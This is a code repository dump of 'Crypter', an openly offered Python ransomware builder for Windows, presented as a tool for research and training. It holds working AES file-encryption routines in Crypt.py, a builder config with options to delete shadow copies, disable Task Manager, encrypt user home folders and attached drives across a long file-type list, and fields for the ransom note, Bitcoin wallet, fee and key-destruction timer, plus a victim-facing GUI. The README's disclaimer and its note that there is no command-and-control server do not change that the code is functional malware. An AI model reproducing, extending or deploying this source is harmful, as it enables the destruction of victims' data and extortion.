195 | "heading_font_colour": [ 196 | 0, 197 | 0, 198 | 0, 199 | 255 200 | ], 201 | "primary_font_colour": [ 202 | 255, 203 | 255, 204 | 0, 205 | 255 206 | ], 207 | "secondary_font_colour": [ 208 | 255, 209 | 255, 210 | 255, 211 | 255 212 | ], 213 | "ransom_message": "The important files on your computer have been encrypted with military grade AES-256 bit encryption.\n\nYour documents, videos, images and other forms of data are now inaccessible, and cannot be unlocked without the decryption key. This key is currently being stored on a remote server.\n\nTo acquire this key, transfer the Bitcoin Fee to the specified wallet address before the time runs out.\n\nIf you fail to take action within this time window, the decryption key will be destroyed and access to your files will be permanently lost.", 214 | "debug_level": "3 - High" 215 | } -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |

Crypter

2 |

3 | Crypter Logo
4 | A Ransomware and Ransomware Builder for Windows written purely in Python 5 |


6 | 7 | Created for security researchers, enthusiasts and educators, Crypter allows you to experience ransomware first hand. The newly released v3.0 is a complete overhaul that drastically simplifies setup and brings the package up-to-date to work with Python 3.6 and above. 8 | 9 | If you're looking to dive straight in then head to the section on Getting Started. Otherwise continue reading to learn more about Crypter. 10 | 11 | Note: By making use of this repository and/or the content within, you agree that you have read and accepted the terms of the Disclaimer 12 | 13 |

Contents

14 | 15 | 16 | - [What's New](#whats-new-v30) 17 | - [Disclaimer](#disclaimer) 18 | - [Screenshots](#screenshots) 19 | - [How Does it Work?](#how-does-it-work) 20 | - [Builder](#builder) 21 | - [Ransomware](#ransomware) 22 | - [Getting Started](#getting-started) 23 | - [FAQs](#faqs) 24 | 25 | 26 | 27 |

What's New? (v3.0)

28 | 33 | 34 |

Disclaimer

35 |

36 | Crypter is intended for educational and research purposes only. This software should not be used within any system or network for which you do not have permission, nor should it be used for any illegal or illicit purposes. The author takes no responsibility for any damages that may be caused by the software in this repository. 37 |

38 |

39 | Once compiled, Crypter WILL encrypt the files on the computer on which it is executed. Whilst Crypter provides you with access to the decryption key, enabling you to decrypt any encrypted files, bugs and other issues could, in theory, interrupt or prevent a successful decryption. Consequently, a permanent and irreversible loss of data could occur. To avoid any potential damage, you should only run Crypter on a test machine created for this purpose. 40 |

41 |

42 | Once again,the author accepts no responsibility for any damages that may occur, and by downloading this software you accept and agree to this disclaimer. 43 |

44 | 45 |

Screenshots

46 |

47 | Crypter Builder and Ransomware Example
48 | Builder application (left) for customising and building the Crypter Ransomware (right) 49 |

50 | 51 |

Getting Started

52 | From version 3.0 onwards, getting started is now easier than ever: 53 |

54 |
    55 |
  1. Download or clone this repository
  2. 56 |
  3. Install the dependencies by running pip install -r requirements.txt
  4. 57 |
  5. Run Builder.pyw to open the Builder and start building!
  6. 58 |
59 | It's really that simple. 60 | 61 |

How Does it Work?

62 | 63 | ### Builder 64 | The builder is the application that allows you to customise and build the Crypter Ransomware. Some of the options you can set include: 65 | 66 | - Binary Executable File Icon 67 | - GUI Title/Heading 68 | - GUI Font and Background Colour 69 | - Bitcoin Wallet Address 70 | - Ransom Fee 71 | - Ransom Message 72 | - Payment Time Limit 73 | - File Shadow Copy Deletion 74 | - Filetypes to Encrypt 75 | 76 | and many more. After setting these options simply hit the BUILD button the build the executable. 77 | 78 | ### Ransomware 79 | Once executed, Crypter will take the following steps: 80 | 81 | - Generate an AES-256 bit encryption/decryption key and write it to key.txt in the current directory 82 | - Search relevant locations (network drives, user directories, etc.) for matching files 83 | - Encrypt all matching files 84 | - Display the Crypter GUI to the victim 85 | 86 |

FAQs

87 | 88 | #### 1. Why did you create this? 89 |

90 | Crypter was created for two reasons: 91 |

95 |

96 |

97 | Traditionally, malware is written in compiled languages like C and C++. As a security researches and Python developer, I set out to determine the extent to which interpretted languages could be used for the creation of malware. At the same time I was working for a security reseller who offered Red vs. Blue training to large enterprises. The training environment made use of live malware samples which were realistic, but unreliable and volatile. After completing the initial PoC, I continued working on Crypter for this organisation to provide a customisable Ransomware sample for use use in this environment. 98 |

99 | 100 | #### 2. Why make it publically available? 101 |

102 | Crypter was made publically available to enable security researchers and enthusiasts to gain a better understanding of Ransomware. While there are plenty of guides and videos on the topic, they usually don't provide the understanding that can be gained by experiencing something first hand. 103 |

104 | 105 | #### 3. But couldn't it be used by criminals for malicious purposes?! 106 |

107 | While Crypter can be used to simulate a real Ransomware attack, steps have been taken to allow users to reverse any damage, and to prevent use by criminals in the wild. Ransomware is only useful to a criminal if they have the ability to decrypt the user's files and the user does not. Traditionally this is done by sending the encryption key to a remote Command & Control (CnC) server controlled by an attack once the user's files have been encrypted. The victim then pays a ransom fee to retrieve access to the key that will decrypt their files. 108 |

109 |

110 | With Crypter however, there is no inbuilt CnC capability. Once the user's files have been encrypted, the decryption key is written to key.txt in the same directory as the ransomware executable. The user can then use this key to decrypt their files. 111 |

112 | 113 | 114 | #### 4. Could it not be adapted for malicious use? 115 |

116 | It is certainly possible to further develop Crypter and implement the missing CnC capabilities. However, this requires expertise and knowledge in programming as well as malware tactics and techniques. Anyone motivated and knowledgeable enough to add these components would most likely create a piece of Ransomware from scratch, and not make use of an existing, open source and publically available package as the basis for their attacks. 117 |

118 | 119 | #### 5. Can you add a feature for me? 120 |

121 | Firstly, if you're going to ask me if I can add CnC functionality, or implement some method for sending the encryption key to remote server, Email etc. please don't waste you time. This is not something I'm willing to do, as it would provide script kiddies with a ready made Ransomware tool that would almost certainly be used for nefarious purposes. Again, this project was created purely for research and educational purposes. 122 |

123 |

124 | Alternatively, if there is a feature that you think could be cool or useful, then feel free to create an issue with some information on what you're looking for and why. I'm usually quite busy with other projects, but if I think it's worthwhile and I can find the time, I may see if it's something that I can implement. 125 |

126 | 127 | 128 | 129 | -------------------------------------------------------------------------------- /Crypter/Crypter/Crypt.py: -------------------------------------------------------------------------------- 1 | ''' 2 | @summary: Generic High level encryption library 3 | @author: MLS 4 | ''' 5 | 6 | # Import libs 7 | from Crypto.PublicKey import RSA 8 | from Crypto.Cipher import AES 9 | from Crypto import Random 10 | from Crypto.Random import random 11 | import os 12 | 13 | # Import classes 14 | from . import Base 15 | 16 | ###################### 17 | ## Symmetric Crypto ## 18 | ###################### 19 | class SymmetricCrypto(Base.Base): 20 | # Class to provide an object for symmetric cryptography interaction 21 | 22 | def __init__(self, key=None): 23 | # Init object 24 | #self.pad = lambda s: s + (self.PADDING_BLOCK_SIZE - len(s) % self.PADDING_BLOCK_SIZE) * chr(self.PADDING_BLOCK_SIZE - len(s) % self.PADDING_BLOCK_SIZE) 25 | self.unpad = lambda s : s[0:-s[-1]] 26 | 27 | 28 | def pad(self, s): 29 | return s + bytes((self.PADDING_BLOCK_SIZE - len(s) % self.PADDING_BLOCK_SIZE) * chr(self.PADDING_BLOCK_SIZE - len(s) % self.PADDING_BLOCK_SIZE), encoding="utf-8") 30 | 31 | def init_keys(self, key=None): 32 | ''' 33 | @summary: initialise the symmetric keys. Uses the provided key, or creates one 34 | @param key: If None provided, a new key is generated, otherwise the provided key is used 35 | ''' 36 | 37 | if not key: 38 | print("Loading a key") 39 | self.load_symmetric_key() 40 | else: 41 | print("using existing key: %s" % key) 42 | self.key = key 43 | 44 | 45 | def load_symmetric_key(self): 46 | # Function to load a local symmetric key if one is present 47 | 48 | if os.path.isfile("key.txt"): 49 | fh = open("key.txt", "r") 50 | self.key = fh.read() 51 | fh.close() 52 | print("Key file already here. Using + " + self.key) 53 | else: 54 | print("No key file. Generating") 55 | self.key = self.generate_key() 56 | 57 | def generate_key(self): 58 | # Function to generate a random key for encryption 59 | print("writing out key to " + os.getcwd()) 60 | 61 | key = ''.join(random.choice('0123456789ABCDEF') for i in range(32)) 62 | # DEV - Write to file 63 | fh = open("key.txt", "w") 64 | fh.write(key) 65 | fh.close() 66 | 67 | return key 68 | 69 | def process_file(self, file, action, extension): 70 | ''' 71 | @summary: Processes the specified file ready for encryption/decryption 72 | @param file: The absolute path to the target file 73 | @param extension: The extension of the encrypted file 74 | ''' 75 | 76 | # Process file details 77 | try: 78 | file_details = {'full_path': file, 79 | 'full_filename': file.split("\\")[-1], 80 | 'extension' : str(file.split("\\")[-1]).split(".")[1], 81 | 'filename' : str(file.split("\\")[-1]).split(".")[0], 82 | 'locked_path': file + "." + extension 83 | } 84 | except: 85 | file_details = {'full_path': file, 86 | 'full_filename': file.split("\\")[-1], 87 | 'extension' : None, 88 | 'filename' : str(file.split("\\")[-1]), 89 | 'locked_path': file + "." + extension 90 | } 91 | 92 | # Specify file state depending on action 93 | if action == "encrypt": 94 | file_details['state'] = "unencrypted" 95 | elif action == "decrypt": 96 | file_details['state'] = "encrypted" 97 | 98 | # Error Checking 99 | file_details['error'] = False 100 | 101 | # Return dict 102 | return file_details 103 | 104 | 105 | def decrypt_file(self, file, decryption_key, extension): 106 | ''' 107 | @summary: Decrypts the target file 108 | @param file: Absolute path to the file to decrypt 109 | @param extension: The extension that was added to the encrypted file 110 | ''' 111 | 112 | # Get file details and check for errors 113 | file_details = self.process_file(file, "decrypt", extension) 114 | if file_details['error']: 115 | print("Some kind of error getting file details") 116 | return 117 | 118 | # Open file reading and writing handles 119 | try: 120 | fh_read = open(file_details["locked_path"], "rb") 121 | fh_write = open(file_details["full_path"], "wb") 122 | except IOError as io: 123 | print("Got IO Error below fh read and write: %s" % io) 124 | return False 125 | 126 | # Read blocks and decrypt 127 | while True: 128 | # 4118 for block size + iv + padding 129 | block = fh_read.read(self.BLOCK_SIZE_BYTES + 32) 130 | 131 | # Check that block is valid 132 | if not block: 133 | break 134 | 135 | ciphertext = block 136 | iv = ciphertext[:self.IV_SIZE] 137 | ciphertext = ciphertext[self.IV_SIZE:] 138 | cipher = AES.new(bytes(decryption_key, encoding="utf-8"), AES.MODE_CBC, iv) 139 | cleartext = self.unpad(cipher.decrypt(ciphertext)) 140 | 141 | # Write decrypted block 142 | fh_write.write(cleartext) 143 | 144 | # Close file handle 145 | fh_write.close() 146 | fh_read.close() 147 | 148 | # Update state 149 | file_details['state'] = "unencrypted" 150 | 151 | return file_details["locked_path"] 152 | 153 | 154 | def encrypt_file(self, file, extension): 155 | ''' 156 | @summary: Encrypts the target file 157 | @param file: Absolute path to the file to encrypt 158 | @param extension: The extension to add to the encrypted file 159 | ''' 160 | 161 | # Get file details and process content 162 | file_details = self.process_file(file, "encrypt", extension) 163 | if file_details['error']: 164 | return False 165 | 166 | # Open file reading and writing handles 167 | try: 168 | fh_read = open(file_details["full_path"], "rb") 169 | fh_write = open(file_details["locked_path"], "wb") 170 | except IOError: 171 | return False 172 | 173 | # Read blocks and encrypt 174 | while True: 175 | block = fh_read.read(self.BLOCK_SIZE_BYTES) 176 | 177 | # Check block is valid 178 | if not block: 179 | break 180 | 181 | # Attempt padding 182 | to_encrypt = self.pad(block) 183 | 184 | 185 | iv = Random.new().read(AES.block_size) 186 | cipher = AES.new(bytes(self.key, encoding="utf-8"), AES.MODE_CBC, iv) 187 | try: 188 | # Create ciphertext. Length is now 4096 + 32 (block + iv + padding) 189 | ciphertext = (iv + cipher.encrypt(to_encrypt)) 190 | except MemoryError: 191 | return False 192 | 193 | # Write encrypted block 194 | fh_write.write(ciphertext) 195 | 196 | # Close file handles 197 | fh_write.close() 198 | fh_read.close() 199 | 200 | # Update state 201 | file_details['state'] = "encrypted" 202 | return file_details['locked_path'] 203 | 204 | 205 | ######################## 206 | ## GenerateKeys Class ## 207 | ######################## 208 | class GenerateKeys(): 209 | # Class to generate asymmetric keys for symmetric key encryption, via RSA 210 | 211 | def __init__(self): 212 | # Init object and define vars 213 | self.local_public_key = "" 214 | self.local_private_key = "" 215 | self.key_length = 2048 216 | 217 | # Generate Keys 218 | rsa_handle = RSA.generate(self.key_length) 219 | self.local_private_key = rsa_handle.exportKey('PEM') 220 | self.local_public_key = rsa_handle.publickey() 221 | self.local_public_key = self.local_public_key.exportKey('PEM') 222 | 223 | ################### 224 | ## Encrypt Class ## 225 | ################### 226 | class EncryptKey(): 227 | # Class to create Encrypt object for symmetric key 228 | 229 | def __init__(self, recipient_public_key, sym_key): 230 | # Init object 231 | self.recipient_public_key = recipient_public_key 232 | self.key_to_encrypt = str(sym_key) 233 | 234 | # Encrypt the data 235 | self.encrypted_key = self.encrypt_key() 236 | 237 | def encrypt_key(self): 238 | # Function to encrypt the provided symmetric key 239 | 240 | rsa_handle = RSA.importKey(self.recipient_public_key) 241 | key = rsa_handle.encrypt(self.key_to_encrypt, 1) 242 | 243 | return key 244 | 245 | 246 | ################### 247 | ## Decrypt Class ## 248 | ################### 249 | class DecryptKey(): 250 | # Class to create Decrypt object for symmetric key 251 | 252 | def __init__(self, private_key, sym_key, phrase): 253 | # Init object 254 | self.private_key = private_key 255 | self.key_to_decrypt = sym_key 256 | self.phrase = phrase 257 | 258 | # Decrypt the data 259 | self.decrypted_key = self.decrypt_key() 260 | 261 | def decrypt_key(self): 262 | # Function to decrypt the provided symmetric key 263 | 264 | rsa_handle = RSA.importKey(self.private_key, self.phrase) 265 | key = rsa_handle.decrypt(self.key_to_decrypt) 266 | 267 | return key 268 | 269 | # TEST 270 | if __name__ == "__main__": 271 | pass 272 | # Sym test 273 | #test = SymmetricCrypto() 274 | #test.encrypt_file("C:\\Users\\Sithis\\development\\experimental\\crypto\\test.txt") 275 | #test.decrypt_file("C:\\Users\\Sithis\\development\\experimental\\crypto\\test.txt") 276 | 277 | 278 | # PKI Test 279 | #test = GenerateKeys() 280 | #encrypt_test = EncryptKey(test.local_public_key, "C3C9BF85E96BC3489996280489C1EE24") 281 | #decrypt_test = DecryptKey(test.local_private_key, encrypt_test.encrypted_key, None) 282 | #print(encrypt_test.encrypted_key) 283 | #print(decrypt_test.decrypted_key) 284 | 285 | -------------------------------------------------------------------------------- /CrypterBuilder/Base.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | ''' 3 | @summary: Crypter Builder: Base schema and config 4 | @author: MLS 5 | ''' 6 | 7 | # Import libs 8 | import re 9 | import os 10 | from collections import OrderedDict 11 | 12 | ## VERSION 13 | MAJ_VERSION = "3" 14 | MIN_VERSION = "5" 15 | 16 | # TITLE 17 | TITLE = "Crypter Builder v%s.%s" % (MAJ_VERSION, MIN_VERSION) 18 | CRYPTER_FILENAME = "Crypter" 19 | 20 | ## LANGUAGE 21 | SUPPORTED_LANGUAGES = [ 22 | u"English", 23 | #u"Русский" 24 | ] 25 | 26 | DEFAULT_LANGUAGE = "English" 27 | 28 | # English Form text 29 | english_language_form_labels = { 30 | "language_settings_sizer": "Language" 31 | } 32 | 33 | ## DEFAULT RANSOM MESSAGE 34 | RANSOM_MESSAGE = """The important files on your computer have been encrypted with military grade AES-256 bit encryption. 35 | 36 | Your documents, videos, images and other forms of data are now inaccessible, and cannot be unlocked without the decryption key. This key is currently being stored on a remote server. 37 | 38 | To acquire this key, transfer the Bitcoin Fee to the specified wallet address before the time runs out. 39 | 40 | If you fail to take action within this time window, the decryption key will be destroyed and access to your files will be permanently lost.""" 41 | 42 | ## DEFAULT FILETYPES TO ENCRYPT 43 | ENCRYPTABLE_FILETYPES = [ 44 | # GENERAL FORMATS 45 | "dat", "keychain", "sdf", "vcf", 46 | # IMAGE FORMATS 47 | "jpg", "png", "tiff", "tif", "gif", "jpeg", "jif", "jfif", "jp2", "jpx", "j2k", "j2c", "fpx", "pcd", "bmp", "svg", 48 | "3dm", "3ds", "max", "obj", "dds", "psd", "tga", "thm", "tif", "tiff", "yuv", "ai", "eps", "ps", "svg", "indd", 49 | "pct", 50 | # VIDEO FORMATS 51 | "mp4", "avi", "mkv", "3g2", "3gp", "asf", "flv", "m4v", "mov", "mpg", "rm", "srt", "swf", "vob", "wmv", 52 | # DOCUMENT FORMATS 53 | "doc", "docx", "txt", "pdf", "log", "msg", "odt", "pages", "rtf", "tex", "wpd", "wps", "csv", "ged", "key", "pps", 54 | "ppt", "pptx", "xml", "json", "xlsx", "xlsm", "xlsb", "xls", "mht", "mhtml", "htm", "html", "xltx", "prn", "dif", 55 | "slk", "xlam", "xla", "ods", "docm", "dotx", "dotm", "xps", "ics", 56 | # SOUND FORMATS 57 | "mp3", "aif", "iff", "m3u", "m4a", "mid", "mpa", "wav", "wma", 58 | # EXE AND PROGRAM FORMATS 59 | "msi", "php", "apk", "app", "bat", "cgi", "com", "asp", "aspx", "cer", "cfm", "css", "htm", "html", 60 | "js", "jsp", "rss", "xhtml", "c", "class", "cpp", "cs", "h", "java", "lua", "pl", "py", "sh", "sln", "swift", 61 | "vb", "vcxproj", 62 | # GAME FILES 63 | "dem", "gam", "nes", "rom", "sav", 64 | # COMPRESSION FORMATS 65 | "tgz", "zip", "rar", "tar", "7z", "cbr", "deb", "gz", "pkg", "rpm", "zipx", "iso", 66 | # MISC 67 | "ged", "accdb", "db", "dbf", "mdb", "sql", "fnt", "fon", "otf", "ttf", "cfg", "ini", "prf", "bak", "old", "tmp", 68 | "torrent" 69 | ] 70 | 71 | 72 | ## CONFIGURATION 73 | ''' 74 | @summary: The builder configuration dictionary containing the configuration options loaded into the GUI 75 | @note: To add a new field, adjust the GUI form appropriately and add the settings for the new 76 | field to this dictionary 77 | ''' 78 | BUILDER_CONFIG_ITEMS = OrderedDict([ 79 | ( 80 | "builder_language", { 81 | "label": "Builder Language", 82 | "label_object_name": "BuilderLanguageLabel", 83 | "input_object_name": "BuilderLanguageChoice", 84 | "example": "English or Русский", 85 | "input_requirement": "One of the supported languages", 86 | "config_area": "Language", 87 | "validate": False, 88 | "default": "English" 89 | } 90 | ), 91 | ( 92 | "debug_level", { 93 | "label": "Debug verbosity level", 94 | "label_object_name": "DebugLevelLabel", 95 | "input_object_name": "DebugLevelChoice", 96 | "example": "0 - Minimal", 97 | "input_requirement": "Build process debug level", 98 | "config_area": "Debug", 99 | "validate": False, 100 | "default": "1 - Low" 101 | } 102 | ), 103 | ( 104 | "pyinstaller_aes_key", { 105 | "label": "PyInstaller AES Key", 106 | "label_object_name": "PyinstallerAesKeyLabel", 107 | "input_object_name": "PyinstallerAesKeyTextCtrl", 108 | "regex": re.compile("^([A-Za-z0-9]{16})?$"), 109 | "example": "093AC769F6557577452E9DB2C74B984A", 110 | "input_requirement": "A 16 byte(character) string of alphanumeric characters", 111 | "validate": True, 112 | "config_area": "Binary Settings" 113 | } 114 | ), 115 | ( 116 | "icon_file", { 117 | "label": "Icon", 118 | "label_object_name": "IconLabel", 119 | "input_object_name": "IconFilePicker", 120 | "regex": re.compile("^.*$"), 121 | "example": "C:\\Users\\test\\icon.ico", 122 | "input_requirement": "A file path pointing to the location of a valid .ico icon file", 123 | "default": "", 124 | "validate": True, 125 | "config_area": "Binary Settings" 126 | } 127 | ), 128 | ( 129 | "upx_dir", { 130 | "label": "UPX Packer Directory", 131 | "label_object_name": "UpxDirLabel", 132 | "input_object_name": "UpxDirPicker", 133 | "regex": re.compile("^.*$"), 134 | "example": "C:\\Program Files\\upx394w", 135 | "input_requirement": "A path pointing to the UPX Packer directory", 136 | "default": "", 137 | "validate": True, 138 | "config_area": "Binary Settings" 139 | } 140 | ), 141 | ( 142 | "open_gui_on_login", { 143 | "label": "Open GUI on Login", 144 | "input_object_name": "OpenGuiOnLoginCheckbox", 145 | "config_area": "Ransomware Settings", 146 | "validate": False, 147 | "default": True 148 | } 149 | ), 150 | ( 151 | "time_delay", { 152 | "label": "Time Delay (s)", 153 | "input_object_name": "TimeDelayTextCtrl", 154 | "regex": re.compile("^\d*$"), 155 | "config_area": "Ransomware Settings", 156 | "validate": True, 157 | "default": "0" 158 | } 159 | ), 160 | ( 161 | "delete_shadow_copies", { 162 | "label": "Delete Shadow Copies", 163 | "input_object_name": "DeleteShadowCopiesCheckbox", 164 | "config_area": "Ransomware Settings", 165 | "validate": False, 166 | "default": True 167 | } 168 | ), 169 | ( 170 | "disable_task_manager", { 171 | "label": "Disable Task Manager", 172 | "input_object_name": "DisableTaskManagerCheckbox", 173 | "config_area": "Ransomware Settings", 174 | "validate": False, 175 | "default": False 176 | } 177 | ), 178 | ( 179 | "gui_title", { 180 | "label": "GUI Title", 181 | "label_object_name": "GuiTitleLabel", 182 | "input_object_name": "GuiTitleTextCtrl", 183 | "regex": re.compile("^.{0,20}$"), 184 | "example": "CRYPTER", 185 | "input_requirement": "A Title to display in Crypter GUI", 186 | "validate": True, 187 | "default": "CRYPTER", 188 | "config_area": "Ransomware Settings" 189 | } 190 | ), 191 | ( 192 | "key_destruction_time", { 193 | "label": "Key Destruction Time(s)", 194 | "label_object_name": "KeyDestructionTimeLabel", 195 | "input_object_name": "KeyDestructionTimeTextCtrl", 196 | "regex": re.compile("^[0-9]*$"), 197 | "example": "259200", 198 | "input_requirement": "A valid integer or floating point number", 199 | "config_area": "Ransomware Settings", 200 | "validate": True, 201 | "default": "259200" 202 | } 203 | ), 204 | ( 205 | "wallet_address", { 206 | "label": "Wallet Address", 207 | "label_object_name": "WalletAddressLabel", 208 | "input_object_name": "WalletAddressTextCtrl", 209 | "regex": re.compile("^([A-Za-z0-9]{26,35})?$"), 210 | "example": "12mdKVNfAhLbRDLtRWQFhQgydgU6bUMjay", 211 | "input_requirement": "A bitcoin wallet address as a series of alphanumeric" 212 | " characters (26-35 characters in length", 213 | "config_area": "Ransomware Settings", 214 | "validate": True, 215 | "default": "12mdKVNfAhLbRDLtRWQFhQgydgU6bUMjay" 216 | } 217 | ), 218 | ( 219 | "bitcoin_fee", { 220 | "label": "Bitcoin Fee", 221 | "label_object_name": "BitcoinFeeLabel", 222 | "input_object_name": "BitcoinFeeTextCtrl", 223 | "regex": re.compile("^([0-9]+(\.[0-9+]+)?)?$"), 224 | "example": "0.0897", 225 | "input_requirement": "A valid integer or floating point number", 226 | "config_area": "Ransomware Settings", 227 | "validate": True, 228 | "default": "1.0" 229 | } 230 | ), 231 | ( 232 | "encrypt_attached_drives", { 233 | "label": "Encrypt Attached Drives", 234 | "input_object_name": "EncryptAttachedDrivesCheckbox", 235 | "default": True, 236 | "validate": False, 237 | "config_area": "Ransomware Settings" 238 | } 239 | ), 240 | ( 241 | "encrypt_user_home", { 242 | "label": "Encrypt User Home", 243 | "input_object_name": "EncryptUserHomeCheckbox", 244 | "default": True, 245 | "validate": False, 246 | "config_area": "Ransomware Settings" 247 | } 248 | ), 249 | ( 250 | "max_file_size_to_encrypt", { 251 | "label": "Max File Size to Encrypt", 252 | "label_object_name": "MaxFileSizeLabel", 253 | "input_object_name": "MaxFileSizeTextCtrl", 254 | "regex": re.compile("^[0-9]*$"), 255 | "input_requirement": "A valid integer", 256 | "example": "512", 257 | "config_area": "Ransomware Settings", 258 | "validate": True, 259 | "default": "512" 260 | } 261 | ), 262 | ( 263 | "filetypes_to_encrypt", { 264 | "label": "Filetypes to Encrypt", 265 | "label_object_name": "FiletypesToEncryptLabel", 266 | "input_object_name": "FiletypesToEncryptTextCtrl", 267 | "regex": re.compile("^([A-Za-z0-9 ]+(,[A-Za-z0-9. ]+)*)?$"), 268 | "example": "pdf,exe,msi,doc", 269 | "input_requirement": "A comma-separated list of filetypes to encrypt", 270 | "config_area": "Ransomware Settings", 271 | "validate": True, 272 | "default": ",".join(ENCRYPTABLE_FILETYPES) 273 | } 274 | ), 275 | ( 276 | "encrypted_file_extension", { 277 | "label": "Encrypted File Extension", 278 | "label_object_name": "EncryptedFileExtensionLabel", 279 | "input_object_name": "EncryptedFileExtensionTextCtrl", 280 | "regex": re.compile("^[A-Za-z0-9.]*$"), 281 | "example": "locked", 282 | "input_requirement": "A series of alphanumeric character(s)", 283 | "config_area": "Ransomware Settings", 284 | "validate": True, 285 | "default": "locked" 286 | } 287 | ), 288 | ( 289 | "make_gui_resizeable", { 290 | "label": "Make GUI Resizeable", 291 | "input_object_name": "MakeGuiResizeableCheckbox", 292 | "default": False, 293 | "validate": False, 294 | "config_area": "Ransomware Settings" 295 | } 296 | ), 297 | ( 298 | "always_on_top", { 299 | "label": "Always On Top", 300 | "input_object_name": "AlwaysOnTopCheckbox", 301 | "default": False, 302 | "validate": False, 303 | "config_area": "Ransomware Settings" 304 | } 305 | ), 306 | ( 307 | "background_colour", { 308 | "label": "Background Colour", 309 | "input_object_name": "BackgroundColourPicker", 310 | "validate": False, 311 | "config_area": "Ransomware Settings" 312 | } 313 | ), 314 | ( 315 | "heading_font_colour", { 316 | "label": "Heading Font Colour", 317 | "input_object_name": "HeadingFontColourPicker", 318 | "validate": False, 319 | "config_area": "Ransomware Settings" 320 | } 321 | ), 322 | ( 323 | "primary_font_colour", { 324 | "label": "Primary Font Colour", 325 | "input_object_name": "PrimaryFontColourPicker", 326 | "validate": False, 327 | "config_area": "Ransomware Settings" 328 | } 329 | ), 330 | ( 331 | "secondary_font_colour", { 332 | "label": "Secondary Font Colour", 333 | "input_object_name": "SecondaryFontColourPicker", 334 | "validate": False, 335 | "config_area": "Ransomware Settings" 336 | } 337 | ), 338 | ( 339 | "ransom_message", { 340 | "label": "Ransom Message", 341 | "input_object_name": "RansomMessageTextCtrl", 342 | "regex": re.compile("^.*$", re.MULTILINE), 343 | "example": "", 344 | "input_requirement": "Ransom message/note", 345 | "config_area": "Ransomware Settings", 346 | "validate": False, 347 | "default": RANSOM_MESSAGE 348 | } 349 | ) 350 | ]) 351 | 352 | ''' 353 | @summary: Runtime configuration items. To be written to the Ransomware's runtime config file 354 | ''' 355 | RUNTIME_CONFIG_ITEMS = [ 356 | "gui_title", 357 | "encrypt_attached_drives", 358 | "encrypt_user_home", 359 | "encrypted_file_extension", 360 | "disable_task_manager", 361 | "open_gui_on_login", 362 | "time_delay", 363 | "wallet_address", 364 | "bitcoin_fee", 365 | "key_destruction_time", 366 | "max_file_size_to_encrypt", 367 | "filetypes_to_encrypt", 368 | "ransom_message", 369 | "make_gui_resizeable", 370 | "always_on_top", 371 | "background_colour", 372 | "heading_font_colour", 373 | "primary_font_colour", 374 | "secondary_font_colour", 375 | "delete_shadow_copies" 376 | ] 377 | 378 | PACKAGE_DIR = os.path.dirname(__file__) 379 | RUNTIME_CONFIG_PATH = os.path.join(PACKAGE_DIR, "Resources", "runtime.cfg") 380 | 381 | # ERRORS 382 | ERROR_INVALID_DATA = 13 383 | ERROR_INVALID_CONFIG_FILE = 110 384 | ERROR_CANNOT_WRITE = 80 385 | ERROR_FILE_NOT_FOUND = 2 -------------------------------------------------------------------------------- /Crypter/Crypter/GuiAbsBase.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | ########################################################################### 4 | ## Python code generated with wxFormBuilder (version Oct 26 2018) 5 | ## http://www.wxformbuilder.org/ 6 | ## 7 | ## PLEASE DO *NOT* EDIT THIS FILE! 8 | ########################################################################### 9 | 10 | import wx 11 | import wx.xrc 12 | 13 | ########################################################################### 14 | ## Class MainFrame 15 | ########################################################################### 16 | 17 | class MainFrame ( wx.Frame ): 18 | 19 | def __init__( self, parent ): 20 | wx.Frame.__init__ ( self, parent, id = wx.ID_ANY, title = u"Crypter", pos = wx.DefaultPosition, size = wx.Size( 940,800 ), style = wx.CAPTION|wx.CLOSE_BOX|wx.MINIMIZE_BOX|wx.RESIZE_BORDER|wx.SYSTEM_MENU|wx.TAB_TRAVERSAL ) 21 | 22 | self.SetSizeHints( wx.Size( -1,-1 ), wx.Size( -1,-1 ) ) 23 | self.SetForegroundColour( wx.SystemSettings.GetColour( wx.SYS_COLOUR_BTNTEXT ) ) 24 | self.SetBackgroundColour( wx.Colour( 177, 7, 14 ) ) 25 | 26 | MainSizer = wx.BoxSizer( wx.VERTICAL ) 27 | 28 | self.HeaderPanel = wx.Panel( self, wx.ID_ANY, wx.DefaultPosition, wx.DefaultSize, wx.TAB_TRAVERSAL ) 29 | HeaderSizer = wx.BoxSizer( wx.VERTICAL ) 30 | 31 | self.TitleLabel = wx.StaticText( self.HeaderPanel, wx.ID_ANY, u"CRYPTER", wx.DefaultPosition, wx.DefaultSize, 0 ) 32 | self.TitleLabel.Wrap( -1 ) 33 | 34 | self.TitleLabel.SetFont( wx.Font( 48, wx.FONTFAMILY_MODERN, wx.FONTSTYLE_NORMAL, wx.FONTWEIGHT_BOLD, True, "Courier New" ) ) 35 | self.TitleLabel.SetForegroundColour( wx.SystemSettings.GetColour( wx.SYS_COLOUR_BTNTEXT ) ) 36 | 37 | HeaderSizer.Add( self.TitleLabel, 0, wx.ALIGN_CENTER_HORIZONTAL|wx.ALL, 10 ) 38 | 39 | self.FlashingMessageText = wx.StaticText( self.HeaderPanel, wx.ID_ANY, u"YOUR FILES HAVE BEEN ENCRYPTED!", wx.DefaultPosition, wx.DefaultSize, 0 ) 40 | self.FlashingMessageText.Wrap( -1 ) 41 | 42 | self.FlashingMessageText.SetFont( wx.Font( 18, wx.FONTFAMILY_MODERN, wx.FONTSTYLE_NORMAL, wx.FONTWEIGHT_BOLD, False, "Courier New" ) ) 43 | self.FlashingMessageText.SetForegroundColour( wx.Colour( 255, 255, 0 ) ) 44 | 45 | HeaderSizer.Add( self.FlashingMessageText, 0, wx.ALIGN_CENTER_HORIZONTAL|wx.ALL, 5 ) 46 | 47 | 48 | self.HeaderPanel.SetSizer( HeaderSizer ) 49 | self.HeaderPanel.Layout() 50 | HeaderSizer.Fit( self.HeaderPanel ) 51 | MainSizer.Add( self.HeaderPanel, 1, wx.ALL|wx.EXPAND, 5 ) 52 | 53 | self.BodyPanel = wx.Panel( self, wx.ID_ANY, wx.Point( -1,-1 ), wx.DefaultSize, wx.TAB_TRAVERSAL ) 54 | BodySizer = wx.BoxSizer( wx.VERTICAL ) 55 | 56 | bSizer15 = wx.BoxSizer( wx.HORIZONTAL ) 57 | 58 | bSizer17 = wx.BoxSizer( wx.HORIZONTAL ) 59 | 60 | bSizer20 = wx.BoxSizer( wx.VERTICAL ) 61 | 62 | self.m_panel81 = wx.Panel( self.BodyPanel, wx.ID_ANY, wx.DefaultPosition, wx.DefaultSize, 